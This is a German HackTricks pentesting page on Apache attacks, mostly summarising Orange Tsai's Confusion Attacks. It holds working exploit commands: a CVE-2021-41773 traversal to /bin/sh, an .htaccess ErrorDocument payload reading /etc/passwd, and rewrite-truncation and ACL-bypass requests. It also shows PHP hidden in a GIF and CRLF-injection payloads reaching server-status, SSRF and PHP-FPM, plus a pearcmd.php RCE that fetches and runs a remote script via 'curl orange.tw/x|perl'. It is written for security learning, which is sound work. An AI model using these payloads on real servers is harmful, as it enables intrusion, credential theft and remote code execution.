15 KiB
Apache
{{#include ../../banners/hacktricks-training.md}}
Ausführbare PHP-Erweiterungen
Prüfe, welche PHP-Erweiterungen vom Apache-Server ausgeführt werden. Um sie zu finden, kannst du ausführen:
grep -R -B1 "httpd-php" /etc/apache2
Außerdem einige Orte, an denen du diese Konfiguration finden kannst:
/etc/apache2/mods-available/php5.conf
/etc/apache2/mods-enabled/php5.conf
/etc/apache2/mods-available/php7.3.conf
/etc/apache2/mods-enabled/php7.3.conf
CVE-2021-41773
curl http://172.18.0.15/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; id; uname'
uid=1(daemon) gid=1(daemon) groups=1(daemon)
Linux
LFI über .htaccess ErrorDocument file provider (ap_expr)
Wenn du die .htaccess eines Verzeichnisses kontrollieren kannst und AllowOverride für diesen Pfad FileInfo enthält, kannst du 404-Antworten dazu verwenden, beliebige lokale Dateien auszulesen, indem du die ap_expr file()-Funktion innerhalb von ErrorDocument verwendest.
- Voraussetzungen:
- Apache 2.4 mit aktiviertem Expression-Parser (ap_expr) (Standard in 2.4).
- Der vhost/dir muss .htaccess erlauben, ErrorDocument zu setzen (AllowOverride FileInfo).
- Der Apache worker user muss Leseberechtigungen für die Zieldatei haben.
.htaccess payload:
# Optional marker header just to identify your tenant/request path
Header always set X-Debug-Tenant "demo"
# On any 404 under this directory, return the contents of an absolute filesystem path
ErrorDocument 404 %{file:/etc/passwd}
Auslösen durch Anfordern eines nicht existierenden Pfads unterhalb dieses Verzeichnisses, zum Beispiel beim Missbrauch von userdir-style hosting:
curl -s http://target/~user/does-not-exist | sed -n '1,20p'
Hinweise und Tipps:
- Nur absolute Pfade funktionieren. Der Inhalt wird als Response-Body für den 404-Handler zurückgegeben.
- Effektive Leseberechtigungen entsprechen denen des Apache-Benutzers (typischerweise www-data/apache). In Standard-Setups wirst du /root/* oder /etc/shadow nicht lesen können.
- Selbst wenn .htaccess root-owned ist, wenn das übergeordnete Verzeichnis tenant-owned ist und Umbenennen erlaubt, kannst du eventuell das originale .htaccess umbenennen und per SFTP/FTP deine eigene Ersatzdatei hochladen:
- rename .htaccess .htaccess.bk
- put your malicious .htaccess
- Verwende dies, um Anwendungscode unter DocumentRoot oder vhost config paths zu lesen, um Secrets (DB creds, API keys, etc.) zu sammeln.
Confusion Attack
Diese Art von Angriffen wurde by Orange in this blog post eingeführt und dokumentiert, und das Folgende ist eine Zusammenfassung. Der "confusion" Angriff missbraucht im Wesentlichen, dass die Dutzenden Module, die zusammen einen Apache bilden, nicht perfekt synchronisiert arbeiten; wenn einige davon unerwartete Daten verändern, kann das in einem späteren Modul eine Schwachstelle verursachen.
Filename Confusion
Truncation
Der mod_rewrite
wird den Inhalt von r->filename
nach dem Zeichen ?
kürzen (modules/mappers/mod_rewrite.c#L4141). Das ist nicht grundsätzlich falsch, da die meisten Module r->filename
als URL behandeln. Aber in anderen Fällen wird dies als Dateipfad behandelt, was ein Problem verursachen kann.
- Path Truncation
Es ist möglich, mod_rewrite
wie im folgenden Regelbeispiel zu missbrauchen, um auf andere Dateien im Dateisystem zuzugreifen, indem man den letzten Teil des erwarteten Pfads entfernt und einfach ein ?
anhängt:
RewriteEngine On
RewriteRule "^/user/(.+)$" "/var/user/$1/profile.yml"
# Expected
curl http://server/user/orange
# the output of file `/var/user/orange/profile.yml`
# Attack
curl http://server/user/orange%2Fsecret.yml%3F
# the output of file `/var/user/orange/secret.yml`
- Irreführende RewriteFlag-Zuweisung
In der folgenden Rewrite-Regel wird alles, dessen URL auf .php endet, als php behandelt und ausgeführt. Daher ist es möglich, eine URL zu senden, die nach dem ?
-Zeichen auf .php endet, während im Pfad eine Datei eines anderen Typs (z. B. ein Bild) geladen wird, die bösartigen php-Code enthält:
RewriteEngine On
RewriteRule ^(.+\.php)$ $1 [H=application/x-httpd-php]
# Attacker uploads a gif file with some php code
curl http://server/upload/1.gif
# GIF89a <?=`id`;>
# Make the server execute the php code
curl http://server/upload/1.gif%3fooo.php
# GIF89a uid=33(www-data) gid=33(www-data) groups=33(www-data)
ACL Bypass
Es ist möglich, auf Dateien zuzugreifen, auf die der Benutzer keinen Zugriff haben sollte, obwohl der Zugriff durch Konfigurationen wie diese verweigert sein sollte:
<Files "admin.php">
AuthType Basic
AuthName "Admin Panel"
AuthUserFile "/etc/apache2/.htpasswd"
Require valid-user
</Files>
Das liegt daran, dass PHP-FPM standardmäßig URLs empfängt, die auf .php
enden, wie http://server/admin.php%3Fooo.php
, und weil PHP-FPM alles nach dem Zeichen ?
entfernt, erlaubt die vorherige URL das Laden von /admin.php
, selbst wenn die vorherige Regel dies verboten hat.
Verwirrung um DocumentRoot
DocumentRoot /var/www/html
RewriteRule ^/html/(.*)$ /$1.html
Eine interessante Tatsache über Apache ist, dass die vorherige Rewrite-Anweisung versuchen wird, die Datei sowohl aus dem documentRoot als auch aus root zu laden. Daher wird eine Anfrage an https://server/abouth.html
im Dateisystem nach der Datei in /var/www/html/about.html
und /about.html
suchen. Das kann im Grunde ausgenutzt werden, um auf Dateien im Dateisystem zuzugreifen.
Serverseitige Offenlegung des Quellcodes
- CGI-Quellcode offenlegen
Allein das Anhängen von %3F am Ende reicht aus, um den Quellcode eines CGI-Moduls zu leaken:
curl http://server/cgi-bin/download.cgi
# the processed result from download.cgi
curl http://server/html/usr/lib/cgi-bin/download.cgi%3F
# #!/usr/bin/perl
# use CGI;
# ...
# # the source code of download.cgi
- PHP-Quellcode offenlegen
Wenn ein Server mehrere Domains hat, wobei eine davon eine statische Domain ist, kann dies missbraucht werden, um das Dateisystem zu durchsuchen und php code zu leak:
# Leak the config.php file of the www.local domain from the static.local domain
curl http://www.local/var/www.local/config.php%3F -H "Host: static.local"
# the source code of config.php
Local Gadgets Manipulation
Das Hauptproblem des vorherigen Angriffs ist, dass standardmäßig die meisten Zugriffe auf das Dateisystem verweigert werden, wie in der configuration template von Apache HTTP Server:
<Directory />
AllowOverride None
Require all denied
</Directory>
Allerdings erlauben Debian/Ubuntu Betriebssysteme standardmäßig den Zugriff auf /usr/share
:
<Directory /usr/share>
AllowOverride None
Require all granted
</Directory>
Daher wäre es möglich, Dateien unter /usr/share
in diesen Distributionen zu missbrauchen.
Lokales Gadget für Information Disclosure
- Apache HTTP Server mit websocketd kann das dump-env.php Skript unter /usr/share/doc/websocketd/examples/php/ exponieren, welches sensible Umgebungsvariablen leak.
- Server mit Nginx oder Jetty könnten sensible Informationen von Webanwendungen (z. B. web.xml) über ihre Standard-Webroots unter /usr/share exponieren:
- /usr/share/nginx/html/
- /usr/share/jetty9/etc/
- /usr/share/jetty9/webapps/
Lokales Gadget für XSS
- Auf Ubuntu Desktop mit installiertem LibreOffice kann das Ausnutzen der Sprachumschaltfunktion der Hilfedateien zu Cross-Site Scripting (XSS) führen. Das Manipulieren der URL bei /usr/share/libreoffice/help/help.html kann auf bösartige Seiten oder ältere Versionen umleiten durch eine unsichere RewriteRule.
Lokales Gadget für LFI
- Wenn PHP oder bestimmte Frontend-Pakete wie JpGraph oder jQuery-jFeed installiert sind, können deren Dateien genutzt werden, um sensitive Dateien wie /etc/passwd zu lesen:
- /usr/share/doc/libphp-jpgraph-examples/examples/show-source.php
- /usr/share/javascript/jquery-jfeed/proxy.php
- /usr/share/moodle/mod/assignment/type/wims/getcsv.php
Lokales Gadget für SSRF
- Durch Nutzung von MagpieRSS's magpie_debug.php unter /usr/share/php/magpierss/scripts/magpie_debug.php kann leicht eine SSRF-Schwachstelle erzeugt werden, die als Tor zu weiteren Exploits dient.
Lokales Gadget für RCE
- Möglichkeiten für Remote Code Execution (RCE) sind vielfältig, etwa durch verwundbare Installationen wie veraltetes PHPUnit oder phpLiteAdmin. Diese können ausgenutzt werden, um beliebigen Code auszuführen und zeigen das große Potenzial der Manipulation lokaler Gadgets.
Jailbreak von lokalen Gadgets
Es ist außerdem möglich, aus den erlaubten Ordnern auszubrechen, indem man Symlinks folgt, die von installierter Software in diesen Ordnern erzeugt wurden, zum Beispiel:
- Cacti Log:
/usr/share/cacti/site/
->/var/log/cacti/
- Solr Data:
/usr/share/solr/data/
->/var/lib/solr/data
- Solr Config:
/usr/share/solr/conf/
->/etc/solr/conf/
- MediaWiki Config:
/usr/share/mediawiki/config/
->/var/lib/mediawiki/config/
- SimpleSAMLphp Config:
/usr/share/simplesamlphp/config/
->/etc/simplesamlphp/
Außerdem war es durch das Ausnutzen von Symlinks möglich, RCE in Redmine zu erlangen.
Handler-Verwirrung
Dieser Angriff nutzt die Überschneidung der Funktionalität zwischen den Direktiven AddHandler
und AddType
, die beide verwendet werden können, um PHP-Verarbeitung zu aktivieren. Ursprünglich betrafen diese Direktiven unterschiedliche Felder (r->handler
bzw. r->content_type
) in der internen Serverstruktur. Aufgrund von Legacy-Code behandelt Apache diese Direktiven jedoch unter bestimmten Bedingungen austauschbar und konvertiert r->content_type
in r->handler
, falls ersteres gesetzt ist und letzteres nicht.
Außerdem verwendet der Apache HTTP Server (server/config.c#L420
) r->content_type
als Handler, falls r->handler
vor dem Aufruf von ap_run_handler()
leer ist, wodurch AddType
und AddHandler
effektiv die gleiche Wirkung haben.
Handler überschreiben, um PHP-Quellcode offenzulegen
In diesem Vortrag wurde eine Schwachstelle vorgestellt, bei der ein vom Client gesendeter falscher Content-Length
dazu führen kann, dass Apache fälschlicherweise den PHP-Quellcode zurückgibt. Ursache war ein Fehler im Error-Handling mit ModSecurity und dem Apache Portable Runtime (APR), bei dem eine doppelte Antwort dazu führt, dass r->content_type
auf text/html
überschrieben wird.
Weil ModSecurity Rückgabewerte nicht korrekt behandelt, würde es den PHP-Code zurückgeben und nicht interpretieren.
Handler überschreiben zu XXXX
TODO: Orange hat diese Schwachstelle noch nicht offengelegt
Beliebige Handler aufrufen
Wenn ein Angreifer in der Lage ist, den Header Content-Type
in einer Serverantwort zu kontrollieren, kann er beliebige Modul-Handler aufrufen. Bis zu dem Zeitpunkt, an dem der Angreifer dies kontrolliert, ist jedoch der Großteil der Anfrageverarbeitung bereits erfolgt. Es ist allerdings möglich, den Anfrageprozess durch Missbrauch des Location
-Headers neu zu starten, denn wenn der zurückgegebene Status
200 ist und der Location
-Header mit einem /
beginnt, wird die Antwort als Server-seitige Umleitung behandelt und erneut verarbeitet.
According to RFC 3875 (specification about CGI) in Section 6.2.2 defines a Local Redirect Response behavior:
The CGI script can return a URI path and query-string (‘local-pathquery’) for a local resource in a Location header field. This indicates to the server that it should reprocess the request using the path specified.
Um diesen Angriff durchzuführen, wird eine der folgenden Schwachstellen benötigt:
- CRLF Injection in the CGI response headers
- SSRF mit vollständiger Kontrolle über die response headers
Beliebiger Handler für Information Disclosure
Beispielsweise sollte /server-status
nur lokal zugänglich sein:
<Location /server-status>
SetHandler server-status
Require local
</Location>
Es ist möglich, darauf zuzugreifen, indem man den Content-Type
auf server-status
setzt und den Location-Header mit /
beginnen lässt.
http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
Location:/ooo %0d%0a
Content-Type:server-status %0d%0a
%0d%0a
Beliebiger Handler zu vollständigem SSRF
Weiterleitung an mod_proxy
, um auf jedes Protokoll jeder URL zuzugreifen:
http://server/cgi-bin/redir.cgi?r=http://%0d%0a
Location:/ooo %0d%0a
Content-Type:proxy:
http://example.com/%3F
%0d%0a
%0d%0a
Allerdings wird der X-Forwarded-For
-Header hinzugefügt, wodurch der Zugriff auf Cloud-Metadaten-Endpunkte verhindert wird.
Arbitrary Handler to Access Local Unix Domain Socket
Zugriff auf den lokalen Unix Domain Socket von PHP-FPM, um eine PHP backdoor im Verzeichnis /tmp/
auszuführen:
http://server/cgi-bin/redir.cgi?r=http://%0d%0a
Location:/ooo %0d%0a
Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/tmp/ooo.php %0d%0a
%0d%0a
Arbitrary Handler to RCE
Das offizielle PHP Docker Image enthält PEAR (Pearcmd.php
), ein Kommandozeilen-Tool zur Verwaltung von PHP-Paketen, das missbraucht werden kann, um RCE zu erlangen:
http://server/cgi-bin/redir.cgi?r=http://%0d%0a
Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}
orange.tw/x|perl
) %2b alltests.php %0d%0a
Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php/pearcmd.php %0d%0a
%0d%0a
Siehe Docker PHP LFI Summary, geschrieben von Phith0n für Details dieser Technik.
Referenzen
- https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1
- Apache 2.4 Custom Error Responses (ErrorDocument)
- Apache 2.4 Expressions and functions (file:)
- HTB Zero write-up: .htaccess ErrorDocument LFI and cron pgrep abuse
{{#include ../../banners/hacktricks-training.md}}